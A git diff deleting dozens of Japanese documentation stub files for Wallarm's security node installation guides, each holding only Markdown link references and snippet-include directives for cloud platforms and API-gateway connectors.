a/docs/ja/installation/cloud-platforms/aws/costs.md b/docs/ja/installation/cloud-platforms/aws/costs.md deleted file mode 100644 index c9a665f72d..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/costs.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/cloud-platforms/aws/costs.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/docker-container.md b/docs/ja/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index 777a5b1212..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,23 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[aws-costs]: costs.md - ---8<-- "latest-ja/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/ja/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index bd735c6d02..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/cloud-platforms/aws/terraform-module/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index d85d51e9e1..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-for-aws-api-gateway-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy-for-aws-api-gateway.png - ---8<-- "latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index 2031032b5a..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-terraform-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy.png - ---8<-- "latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/azure/docker-container.md b/docs/ja/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 2f04f9c702..0000000000 --- a/docs/ja/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,23 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/cloud-init.md b/docs/ja/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index bf2b70801b..0000000000 --- a/docs/ja/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/cloud-platforms/cloud-init.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/gcp/docker-container.md b/docs/ja/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index ad32aa6bfe..0000000000 --- a/docs/ja/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,22 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/gcp/machine-image.md b/docs/ja/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index d328fe5105..0000000000 --- a/docs/ja/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1,33 +0,0 @@ -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md -[inline-docs]: ../../inline/overview.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/private-cloud.md b/docs/ja/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 559f37d029..0000000000 --- a/docs/ja/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/cloud-platforms/private-cloud.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/akamai-edgeworkers.md b/docs/ja/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index c64f02b6d1..0000000000 --- a/docs/ja/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/akamai-edgeworkers.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/apigee.md b/docs/ja/installation/connectors/apigee.md deleted file mode 100644 index 66c5d14a43..0000000000 --- a/docs/ja/installation/connectors/apigee.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/apigee.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/aws-api-gateway.md b/docs/ja/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 20d4d980a8..0000000000 --- a/docs/ja/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/aws-lambda.md b/docs/ja/installation/connectors/aws-lambda.md deleted file mode 100644 index 4fc15b6274..0000000000 --- a/docs/ja/installation/connectors/aws-lambda.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/aws-lambda.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/azion-edge.md b/docs/ja/installation/connectors/azion-edge.md deleted file mode 100644 index 237f7b62c1..0000000000 --- a/docs/ja/installation/connectors/azion-edge.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/azion-edge.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/azure-api-management.md b/docs/ja/installation/connectors/azure-api-management.md deleted file mode 100644 index ac42b730f0..0000000000 --- a/docs/ja/installation/connectors/azure-api-management.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/azure-api-management.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/cloudflare.md b/docs/ja/installation/connectors/cloudflare.md deleted file mode 100644 index d34e1d64fe..0000000000 --- a/docs/ja/installation/connectors/cloudflare.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/cloudflare.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/code-bundle-inventory.md b/docs/ja/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index 388e17c466..0000000000 --- a/docs/ja/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/code-bundle-inventory.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/fastly.md b/docs/ja/installation/connectors/fastly.md deleted file mode 100644 index 982656e35e..0000000000 --- a/docs/ja/installation/connectors/fastly.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/fastly.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/ibm-api-connect.md b/docs/ja/installation/connectors/ibm-api-connect.md deleted file mode 100644 index 5b995ff8d8..0000000000 --- a/docs/ja/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/ibm-api-connect.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/istio.md b/docs/ja/installation/connectors/istio.md deleted file mode 100644 index f6e2b4ce34..0000000000 --- a/docs/ja/installation/connectors/istio.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest-ja/installation/connectors/istio-inline.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/kong-api-gateway.md b/docs/ja/installation/connectors/kong-api-gateway.md deleted file mode 100644 index c701151617..0000000000 --- a/docs/ja/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest-ja/installation/connectors/kong-api-gateway.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/layer7-api-gateway.md b/docs/ja/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 761b0005cb..0000000000 --- a/docs/ja/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/mulesoft-flex.md b/docs/ja/installation/connectors/mulesoft-flex.md deleted file mode 100644 index 1c4505822e..0000000000 --- a/docs/ja/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/mulesoft-flex.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/mulesoft.md b/docs/ja/installation/connectors/mulesoft.md deleted file mode 100644 index eca37f9f60..0000000000 --- a/docs/ja/installation/connectors/mulesoft.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/mulesoft.md" \ No newline at end of file diff --git a/docs/ja/installation/connectors/overview.md b/docs/ja/installation/connectors/overview.md deleted file mode 100644 index 96af4cd4e4..0000000000 --- a/docs/ja/installation/connectors/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/connectors/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/custom/custom-nginx-version.md b/docs/ja/installation/custom/custom-nginx-version.md deleted file mode 100644 index 05745878e1..0000000000 --- a/docs/ja/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/custom/custom-nginx-version.md" \ No newline at end of file diff --git a/docs/ja/installation/custom/request-custom-deployment.md b/docs/ja/installation/custom/request-custom-deployment.md deleted file mode 100644 index c7f6201a35..0000000000 --- a/docs/ja/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/custom/request-custom-deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/heroku/docker-image.md b/docs/ja/installation/heroku/docker-image.md deleted file mode 100644 index 035d0d74f4..0000000000 --- a/docs/ja/installation/heroku/docker-image.md +++ /dev/null @@ -1,9 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md - ---8<-- "latest-ja/installation/heroku/docker-image.md" diff --git a/docs/ja/installation/inline/compute-instances/alibaba/docker-image.md b/docs/ja/installation/inline/compute-instances/alibaba/docker-image.md deleted file mode 100644 index a010381e9a..0000000000 --- a/docs/ja/installation/inline/compute-instances/alibaba/docker-image.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[link-docs-check-operation]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/aws/aws-ami.md b/docs/ja/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index 3028d2c0e4..0000000000 --- a/docs/ja/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[inline-docs]: ../../overview.md -[aws-ami-traffic-flow]: ../../../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../../../images/aws-ami/security-group.png -[latest-node-version]: ../../../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../../../admin-en/configure-logging.md -[log-level]: ../../../../installation/native-node/all-in-one-conf.md#loglevel -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - - ---8<-- "latest-ja/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/aws/aws-ecs.md b/docs/ja/installation/inline/compute-instances/aws/aws-ecs.md deleted file mode 100644 index 83032234c3..0000000000 --- a/docs/ja/installation/inline/compute-instances/aws/aws-ecs.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[aws-costs]: ../../../cloud-platforms/aws/costs.md - ---8<-- "latest-ja/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md b/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md deleted file mode 100644 index 7f6f747ae1..0000000000 --- a/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md b/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md deleted file mode 100644 index da9ab47ccd..0000000000 --- a/docs/ja/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/azure/docker-image.md b/docs/ja/installation/inline/compute-instances/azure/docker-image.md deleted file mode 100644 index f4f72e74dd..0000000000 --- a/docs/ja/installation/inline/compute-instances/azure/docker-image.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/docker/nginx-based.md b/docs/ja/installation/inline/compute-instances/docker/nginx-based.md deleted file mode 100644 index 2f450b3931..0000000000 --- a/docs/ja/installation/inline/compute-instances/docker/nginx-based.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../supported-deployment-options.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[aws-ecs-docs]: ../../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../../cloud-platforms/azure/docker-container.md 